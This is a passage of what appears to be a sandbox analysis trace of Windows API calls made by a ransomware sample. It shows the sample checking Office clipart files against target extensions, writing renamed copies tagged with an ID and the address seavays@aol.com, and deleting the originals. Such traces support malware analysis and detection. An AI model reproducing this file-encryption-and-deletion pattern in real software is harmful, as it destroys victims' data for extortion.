68 [0169.565] lstrlenW (lpString=".zip") returned 4 [0169.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.565] lstrlenW (lpString=".rar") returned 4 [0169.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.565] lstrlenW (lpString=".bz2") returned 4 [0169.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.565] lstrlenW (lpString=".7z") returned 3 [0169.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.565] lstrlenW (lpString=".dbf") returned 4 [0169.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.565] lstrlenW (lpString=".1cd") returned 4 [0169.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.565] lstrlenW (lpString=".jpg") returned 4 [0169.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.565] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.565] lstrlenW (lpString="J0105378.WMF") returned 12 [0169.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.567] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4964) returned 1 [0169.567] CloseHandle (hObject=0x538) returned 1 [0169.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0169.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.568] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.568] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0169.569] GetLastError () returned 0x0 [0169.569] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1364, lpOverlapped=0x0) returned 1 [0169.873] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1370, lpOverlapped=0x0) returned 1 [0169.911] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.911] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.911] SetEndOfFile (hFile=0x53c) returned 1 [0169.911] CloseHandle (hObject=0x53c) returned 1 [0169.912] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.912] SetEndOfFile (hFile=0x538) returned 1 [0169.915] CloseHandle (hObject=0x538) returned 1 [0169.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0169.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.917] lstrlenW (lpString=".doc") returned 4 [0169.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString=".docx") returned 5 [0169.917] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.917] lstrlenW (lpString=".pdf") returned 4 [0169.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString=".xls") returned 4 [0169.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.917] lstrlenW (lpString=".xlsx") returned 5 [0169.917] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.917] lstrlenW (lpString=".ppt") returned 4 [0169.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.917] lstrlenW (lpString=".zip") returned 4 [0169.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.917] lstrlenW (lpString=".rar") returned 4 [0169.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString=".bz2") returned 4 [0169.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString=".7z") returned 3 [0169.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.917] lstrlenW (lpString=".dbf") returned 4 [0169.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.918] lstrlenW (lpString=".1cd") returned 4 [0169.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.918] lstrlenW (lpString=".jpg") returned 4 [0169.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.918] lstrlenW (lpString=".doc") returned 4 [0169.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.918] lstrlenW (lpString=".docx") returned 5 [0169.918] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.918] lstrlenW (lpString=".pdf") returned 4 [0169.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.918] lstrlenW (lpString=".xls") returned 4 [0169.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.918] lstrlenW (lpString=".xlsx") returned 5 [0169.918] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.919] lstrlenW (lpString=".ppt") returned 4 [0169.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.919] lstrlenW (lpString=".zip") returned 4 [0169.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.919] lstrlenW (lpString=".rar") returned 4 [0169.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".bz2") returned 4 [0169.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".7z") returned 3 [0169.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.919] lstrlenW (lpString=".dbf") returned 4 [0169.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.919] lstrlenW (lpString=".1cd") returned 4 [0169.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0169.919] lstrlenW (lpString=".jpg") returned 4 [0169.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.919] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.919] lstrlenW (lpString="J0105410.WMF") returned 12 [0169.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.920] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=20444) returned 1 [0169.921] CloseHandle (hObject=0x538) returned 1 [0169.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0169.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.921] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.921] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0169.922] GetLastError () returned 0x0 [0169.922] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0169.925] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0169.926] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.926] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.927] SetEndOfFile (hFile=0x53c) returned 1 [0169.927] CloseHandle (hObject=0x53c) returned 1 [0169.927] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.927] SetEndOfFile (hFile=0x538) returned 1 [0169.932] CloseHandle (hObject=0x538) returned 1 [0169.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.933] lstrlenW (lpString=".doc") returned 4 [0169.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.933] lstrlenW (lpString=".docx") returned 5 [0169.933] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.934] lstrlenW (lpString=".pdf") returned 4 [0169.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.934] lstrlenW (lpString=".xls") returned 4 [0169.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.934] lstrlenW (lpString=".xlsx") returned 5 [0169.934] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.934] lstrlenW (lpString=".ppt") returned 4 [0169.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.934] lstrlenW (lpString=".zip") returned 4 [0169.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.934] lstrlenW (lpString=".rar") returned 4 [0169.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.934] lstrlenW (lpString=".bz2") returned 4 [0169.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.934] lstrlenW (lpString=".7z") returned 3 [0169.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString=".dbf") returned 4 [0169.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString=".1cd") returned 4 [0169.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString=".jpg") returned 4 [0169.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString=".doc") returned 4 [0169.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString=".docx") returned 5 [0169.935] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.935] lstrlenW (lpString=".pdf") returned 4 [0169.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString=".xls") returned 4 [0169.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.935] lstrlenW (lpString=".xlsx") returned 5 [0169.935] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.935] lstrlenW (lpString=".ppt") returned 4 [0169.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.935] lstrlenW (lpString=".zip") returned 4 [0169.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.936] lstrlenW (lpString=".rar") returned 4 [0169.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.936] lstrlenW (lpString=".bz2") returned 4 [0169.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.936] lstrlenW (lpString=".7z") returned 3 [0169.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.936] lstrlenW (lpString=".dbf") returned 4 [0169.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.936] lstrlenW (lpString=".1cd") returned 4 [0169.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0169.936] lstrlenW (lpString=".jpg") returned 4 [0169.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.936] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.936] lstrlenW (lpString="J0105412.WMF") returned 12 [0169.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.941] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=9400) returned 1 [0169.941] CloseHandle (hObject=0x538) returned 1 [0169.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0169.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.941] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.942] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0169.943] GetLastError () returned 0x0 [0169.943] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0170.195] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0170.196] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.196] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.196] SetEndOfFile (hFile=0x53c) returned 1 [0170.197] CloseHandle (hObject=0x53c) returned 1 [0170.197] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.197] SetEndOfFile (hFile=0x538) returned 1 [0170.200] CloseHandle (hObject=0x538) returned 1 [0170.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0170.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.201] lstrlenW (lpString=".doc") returned 4 [0170.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.201] lstrlenW (lpString=".docx") returned 5 [0170.201] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.201] lstrlenW (lpString=".pdf") returned 4 [0170.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.201] lstrlenW (lpString=".xls") returned 4 [0170.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.201] lstrlenW (lpString=".xlsx") returned 5 [0170.201] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.201] lstrlenW (lpString=".ppt") returned 4 [0170.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.201] lstrlenW (lpString=".zip") returned 4 [0170.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.201] lstrlenW (lpString=".rar") returned 4 [0170.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString=".bz2") returned 4 [0170.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString=".7z") returned 3 [0170.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString=".dbf") returned 4 [0170.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString=".1cd") returned 4 [0170.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString=".jpg") returned 4 [0170.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString=".doc") returned 4 [0170.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString=".docx") returned 5 [0170.202] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.202] lstrlenW (lpString=".pdf") returned 4 [0170.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString=".xls") returned 4 [0170.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.202] lstrlenW (lpString=".xlsx") returned 5 [0170.202] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.202] lstrlenW (lpString=".ppt") returned 4 [0170.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.202] lstrlenW (lpString=".zip") returned 4 [0170.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.202] lstrlenW (lpString=".rar") returned 4 [0170.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.203] lstrlenW (lpString=".bz2") returned 4 [0170.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.203] lstrlenW (lpString=".7z") returned 3 [0170.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0170.203] lstrlenW (lpString=".dbf") returned 4 [0170.203] lstrcmpiW 